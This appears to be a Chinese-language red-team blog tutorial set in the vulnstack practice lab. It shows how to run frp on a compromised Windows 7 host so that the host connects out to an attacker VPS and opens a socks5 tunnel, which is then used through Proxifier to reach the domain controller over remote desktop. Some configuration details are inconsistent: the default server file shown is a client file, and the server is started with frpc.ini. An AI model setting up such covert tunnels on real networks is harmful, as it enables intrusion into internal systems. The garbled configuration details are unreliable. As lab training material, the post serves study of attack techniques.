介紹及環境#
frp
是一個高性能的反向代理應用,可以使目標對外開放端口,支持
- tcp
- http
- https
等協議類型,並且web
服務支持根據域名進行路由轉發,從而在紅隊行動時實現內網穿透
frp
作為反向代理工具勝在穩定,但是其依賴配置文件,溯源容易
本篇文章在《ATT&CK 實戰 - 紅日安全 vulnstack (一)》文章使用到的環境基礎上實現
網絡配置示意圖如下所示:
-
已知 win7 作為邊界機,已突破拿到 shell
-
域控主機已開啟允許遠程訪問
這裡已經提前上線cs
,其實cs
可以直接一鍵開啟socks
隧道但是不在本文範圍之內
通過cs
查看目標主機win7
的ip
有兩個內網網段
FRP 代理進入內網#
首先需要明確代理流程
- 需要是攻擊機筆記本的程序能夠使用代理進行訪問該域環境內網
首先從GitHub下載對應版本的FRP
代理程序
打開可以看到FRP
針對每種操作系統都有對應版本的程序:
以windows64
版本為例,包含文件有如下:
- systemd
- frpc.exe
- frpc.ini
- frpc_full.ini
- frps.exe
- frps.ini
- frps_full.ini
- LICENSE
可以看出同一操作系統,官方默認提供server
端和cilent
端
在攻擊機,也就是擁有公網ip
的vps
先配置frps.ini
默認配置文件是這樣的:
[common]
server_addr = 127.0.0.1
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
此處暫時先以最基礎的配置介紹:
[common]
bind_port = 7000
token = 145678
其實最基礎的只需前兩行,但是建議習慣加上token
哈,然後開啟服務器:
frps -c frpc.ini
此時目標機需要配置連接我們的vps
之外,還需配置socks5
隧道才能讓我們進入目標環境的內網,最簡單的配置應該如下:
[common]
server_addr = x.x.x.x
server_port = 7000
token = 145678
[socks1]
type = tcp
remote_port = 6666
plugin = socks5
plugin_user = admin
plugin_passwd = passwd
啟動客戶端frp
:
此時vps
收到連接:
這時候我們筆記本攻擊機就可以掛著socks5:VPS-IP:6666
來訪問邊界區可以訪問的目標了
結束 frp 時可以使用 ps -aux|grep frp 命令列出 frp 進程信息,然後再用 kill 命令結束掉 frp 進程
本地訪問可以用Proxifier
,將需要使用的工具設置為走該代理
proxifier 進行代理#
添加我們的服務器如下:
將遠程桌面工具mstsc.exe
添加規則:
此時在我們本地使用遠程工具mstsc
直接連接內網的域控主機192.168.52.138
:
已經可以成功訪問到目標主機內網的域控遠程桌面
在連接的時候可以看到proxifier
打印出了日誌,顯示通過代理開始連接
要使用其他工具對內網進行掃描也是一樣的,只需要在proxifier
中將使用到的程序配置規則即可
frp 優化#
敬請期待更新
參考文章: